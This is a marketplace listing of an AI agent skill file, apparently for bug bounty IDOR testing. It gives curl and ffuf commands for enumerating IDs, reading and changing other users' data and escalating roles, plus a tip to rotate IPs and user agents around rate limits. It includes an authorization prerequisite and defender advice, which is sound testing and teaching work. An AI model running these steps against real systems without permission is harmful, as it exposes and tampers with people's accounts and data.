agentsclimarketplace

Idor vulnerability hunting

Skill ShulkwiSEC/bb-huge/skills/curated/idor-vulnerability-hunting

bb-huge πŸ€— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill idor-vulnerability-hunting

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Detect and exploit Insecure Direct Object Reference (IDOR) vulnerabilities in web applications and APIs. Use this skill when testing for unauthorized access to resources by manipulating object identifiers like user IDs, order numbers, file references, or API endpoints. Covers parameter tampering, UUID prediction, hash manipulation, and chained IDOR attacks for maximum impact in bug bounty programs.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

12.3 KB, ~2.9k tokens by cl100k_base, as published. Nobody here has run it

IDOR Vulnerability Hunting

When to Use

  • When testing web applications for unauthorized data access via object reference manipulation
  • During bug bounty hunting when you see numeric/sequential IDs in URLs, API calls, or form parameters
  • When API endpoints use predictable identifiers (user_id, order_id, doc_id)
  • When testing multi-tenant applications for cross-tenant data leakage
  • When you find UUID/GUID references that may be predictable or enumerable

When NOT to use: If the application uses cryptographically random tokens AND validates server-side ownership β€” then move to session management or authentication bypass skills instead.

Prerequisites

  • Burp Suite Pro or Community Edition installed with browser proxy configured
  • Two test accounts with different privilege levels (attacker + victim)
  • curl, httpie, or Postman for API testing
  • ffuf or wfuzz for parameter fuzzing
  • Autorize Burp extension for automated authorization testing
  • Authorization to test the target (bug bounty scope or pentest engagement)

Workflow

Phase 1: Identify Object References

Map every parameter that references objects. These are your attack surface.

# Crawl the target and extract parameters from Burp proxy history
# Look for these patterns in URLs, POST bodies, and headers:

# Numeric sequential IDs (highest priority)
/api/users/1234
/api/orders/5678
/profile?user_id=42
/download?file_id=100

# UUIDs/GUIDs (still testable)
/api/documents/550e8400-e29b-41d4-a716-446655440000

# Encoded references
/api/data?ref=dXNlcl9pZD0xMjM0  # Base64: user_id=1234

# Hashed references
/api/file/5d41402abc4b2a76b9719d911017c592  # MD5 hash

# Composite references
/api/org/15/user/42/report/7

Decision Point πŸ”€ β€” What type of reference did you find?

Sequential numeric ID β†’ High chance of IDOR, go to Phase 2 immediately
UUID/GUID β†’ Check if version 1 (time-based, predictable) vs v4 (random)
Base64 encoded β†’ Decode it, modify the decoded value, re-encode
Hashed value β†’ Try common hash patterns (MD5/SHA1 of sequential numbers)
No visible reference β†’ Check JSON response bodies for hidden IDs

Phase 2: Horizontal IDOR Testing (Same Privilege Level)

Test if User A can access User B's resources by swapping identifiers.

# Step 1: Log in as User A (attacker), capture a request with an object reference
# Example: GET /api/v1/users/1337/profile with User A's session

curl -s -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  https://target.com/api/v1/users/1337/profile

# Step 2: Change the object ID to User B's (victim) ID
curl -s -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  https://target.com/api/v1/users/1338/profile

# Expected vulnerable response:
# HTTP 200 with User B's data returned using User A's token

# Step 3: Automate with ffuf to find all accessible IDs
ffuf -u https://target.com/api/v1/users/FUZZ/profile \
  -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  -w <(seq 1 10000) \
  -mc 200 \
  -o idor_results.json

# Step 4: Test write operations (MORE CRITICAL)
# Change victim's email/password using attacker's session
curl -X PUT https://target.com/api/v1/users/1338/profile \
  -H "Authorization: Bearer eyJ0eXAi0iJK..." \
  -H "Content-Type: application/json" \
  -d '{"email": "[email protected]"}'

Phase 3: Vertical IDOR Testing (Privilege Escalation)

Test if a low-privilege user can access admin-only resources.

# Using a regular user's token, access admin endpoints
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/users
  
curl -s -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/config
  
# Test admin actions with regular user token
curl -X DELETE -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  https://target.com/api/v1/admin/users/1338

# Test role manipulation
curl -X PUT https://target.com/api/v1/users/1337/role \
  -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
  -d '{"role": "admin"}'

Phase 4: Advanced IDOR Techniques

# Technique 1: Parameter pollution β€” send multiple values
curl "https://target.com/api/profile?user_id=1337&user_id=1338"

# Technique 2: HTTP method switching
# If GET is blocked, try POST/PUT/PATCH/DELETE
curl -X POST https://target.com/api/v1/users/1338/profile \
  -H "Authorization: Bearer $ATTACKER_TOKEN"

# Technique 3: API version switching
curl https://target.com/api/v2/users/1338/profile  # Try v2, v3
curl https://target.com/api/users/1338/profile      # Try without version

# Technique 4: Wrapping ID in array
curl -X POST https://target.com/api/v1/users/ \
  -H "Content-Type: application/json" \
  -d '{"id": [1338]}'

# Technique 5: JSON parameter injection
curl -X POST https://target.com/api/v1/profile/update \
  -H "Content-Type: application/json" \
  -d '{"name":"test", "user_id": 1338}'

# Technique 6: Wildcard / glob patterns
curl https://target.com/api/v1/users/*/profile
curl https://target.com/api/v1/users/../1338/profile

# Technique 7: Numeric ID as string
curl https://target.com/api/v1/users/"1338"/profile

# Technique 8: XML body instead of JSON
curl -X POST https://target.com/api/v1/profile \
  -H "Content-Type: application/xml" \
  -d '<user><id>1338</id></user>'

Phase 5: Automated Testing with Autorize

1. Install Autorize extension in Burp Suite
2. Configure with two sessions:
   - High privilege session (admin/victim token)
   - Low privilege session (attacker token)
3. Browse the application as the high-privilege user
4. Autorize automatically replays each request with the low-privilege token
5. Color-coded results:
   - RED    = Bypassed (IDOR confirmed)
   - ORANGE = Potentially bypassed (different response)
   - GREEN  = Enforced (access denied)

Phase 6: Evidence Collection & Reporting

# Screenshot the request/response showing unauthorized access
# Save as evidence for bug bounty report

# Calculate impact by testing:
# 1. Can you READ other users' data? (Confidentiality)
# 2. Can you MODIFY other users' data? (Integrity)
# 3. Can you DELETE other users' data? (Availability)
# 4. Can you access financial/PII/PHI data? (Regulatory)
# 5. How many users are affected? (Scale)

πŸ”΅ Blue Team Detection

How defenders can detect IDOR attacks:

  • WAF rules: Alert on sequential parameter fuzzing (many requests with incrementing IDs)
  • Application logging: Log and alert when a user accesses objects owned by other users
  • Rate limiting: Implement per-user rate limits on sensitive endpoints
  • Sigma rule: Detect rapid sequential API calls with different object IDs from same IP/session
  • Fix: Always validate object ownership server-side β€” WHERE user_id = authenticated_user_id AND object_id = requested_id

Real-World Case Studies

CVE-2023-37580: Zimbra IDOR

  • Target: Zimbra Collaboration Suite
  • Impact: Unauthenticated access to other users' email data
  • Technique: Direct object reference in mailbox endpoint without ownership validation

HackerOne Report #1408600: Shopify IDOR

  • Target: Shopify Partner Dashboard
  • Impact: Access to any shop's revenue data by changing shop_id parameter
  • Bounty: $15,000

Key Concepts

ConceptDescription
Horizontal IDORAccessing another user's resources at the same privilege level
Vertical IDORAccessing resources above your privilege level (user β†’ admin)
BOLABroken Object Level Authorization β€” OWASP API Security #1
Object referenceAny parameter that maps to a server-side object (ID, filename, key)
Ownership validationServer-side check that the requesting user owns the referenced object
Parameter tamperingModifying request parameters to reference unauthorized objects

Tools & Systems

ToolPurposeInstall
Burp Suite ProIntercept & modify requests, Autorize extensionDownload from portswigger.net
ffufFast web fuzzer for ID enumerationgo install github.com/ffuf/ffuf/v2@latest
AutorizeAutomated authorization testing Burp extensionBurp BApp Store
curlManual HTTP request craftingPre-installed on Linux/macOS
PostmanAPI testing with saved collectionsDownload from postman.com

Common Scenarios

Scenario 1: E-commerce Order Access User discovers /api/orders/12345 reveals order details. By changing to /api/orders/12344, they access another customer's order including name, address, and payment details. Write IDOR β†’ can modify shipping address.

Scenario 2: File Download IDOR Cloud storage app uses /download?file_id=abc123. Testing sequential IDs reveals access to other users' uploaded documents including sensitive contracts and financial records.

Scenario 3: Admin Panel Data Leak Regular user finds admin API endpoint /api/admin/reports/monthly in JavaScript source. Accessing it with regular user token returns full admin dashboard data.

Scenario 4: Multi-Tenant SaaS Breach Tenant A can access Tenant B's data by swapping org_id parameter in API calls, leading to complete cross-tenant data exposure.

Output Format

IDOR Vulnerability Report
=========================
Title: Horizontal IDOR in User Profile API
Severity: HIGH (CVSS 7.5)
Endpoint: GET /api/v1/users/{id}/profile
Parameter: id (path parameter)

Steps to Reproduce:
1. Login as User A (attacker), note session token
2. Send GET /api/v1/users/1337/profile β†’ returns User A's data
3. Change 1337 to 1338 β†’ returns User B's data with same token
4. All user profiles from ID 1 to 50000+ are accessible

Impact:
- Full PII exposure (name, email, phone, address) for all users
- Write IDOR also confirmed (can modify other users' profiles)
- Estimated 50,000+ affected users

Remediation:
- Implement server-side ownership validation on all endpoints
- Replace sequential IDs with UUIDs (defense in depth)
- Add Autorize-like automated testing to CI/CD pipeline

Troubleshooting

ProblemSolution
All IDs return 403Check if CSRF token is tied to the object β€” try without CSRF or with victim's CSRF token
UUIDs seem randomCheck if they're UUIDv1 (time-based, predictable) β€” use uuid CLI to decode
Different response format but same statusCompare response body sizes β€” different sizes may indicate different data
Rate limitedSlow down requests, rotate IPs, or use different user agents
Objects require additional identifiersTry compound IDORs β€” modify multiple parameters simultaneously

πŸ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.